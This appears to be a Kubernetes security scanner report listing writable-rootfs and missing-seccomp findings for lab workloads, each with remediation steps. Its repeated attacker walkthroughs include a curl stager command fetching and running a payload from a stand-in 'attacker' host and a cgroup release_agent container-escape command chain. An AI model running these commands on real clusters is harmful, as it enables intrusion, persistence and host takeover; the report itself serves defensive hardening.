Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/socket-mounts-app
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Pod/foothold-exec/foothold-decoy Workload 5.5
Container app has a writable root filesystem in Pod/foothold-exec/foothold-decoy
Scope · Workload Workload Pod/foothold-exec/foothold-decoy
Category: Privilege Escalation Resource: Pod/foothold-exec/foothold-decoy Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-decoy either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get pod/foothold-decoy -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Pod/foothold-exec/foothold-target Workload 5.5
Container app has a writable root filesystem in Pod/foothold-exec/foothold-target
Scope · Workload Workload Pod/foothold-exec/foothold-target
Category: Privilege Escalation Resource: Pod/foothold-exec/foothold-target Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-target either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get pod/foothold-target -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Job/gw-workloads/gw-batch Workload 5.5
Container batch has a writable root filesystem in Job/gw-workloads/gw-batch
Scope · Workload Workload Job/gw-workloads/gw-batch
Category: Privilege Escalation Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Container batch in Job/gw-workloads/gw-batch either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get job/gw-batch -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerbatch
Show raw JSON
{
  "container": "batch"
}
MEDIUM Deployment/local-path-storage/local-path-provisioner Workload 5.5
Container local-path-provisioner has a writable root filesystem in Deployment/local-path-storage/local-path-provisioner
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Privilege Escalation Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/local-path-provisioner -n local-path-storage -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerlocal-path-provisioner
Show raw JSON
{
  "container": "local-path-provisioner"
}
MEDIUM Deployment/secrets-bundle/cross-ns-consumer Workload 5.5
Container pause has a writable root filesystem in Deployment/secrets-bundle/cross-ns-consumer
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Privilege Escalation Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/cross-ns-consumer -n secrets-bundle -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerpause
Show raw JSON
{
  "container": "pause"
}
MEDIUM

Container api runs without a seccomp profile in Deployment/flat-network/api

KUBE-PODSEC-SECCOMP-001 36 subjects Score 5.5
MITRE ATT&CK: T1611T1068T1548.001

Affected subjects (36)

MEDIUM Deployment/flat-network/api Workload 5.5
Container api runs without a seccomp profile in Deployment/flat-network/api
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n flat-network <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/api -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapi
Show raw JSON
{
  "container": "api"
}
MEDIUM DaemonSet/rbac-fixtures/daemon-app Workload 5.5
Container app runs without a seccomp profile in DaemonSet/rbac-fixtures/daemon-app
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Privilege Escalation Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n rbac-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get daemonset/daemon-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.5
Container app runs without a seccomp profile in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

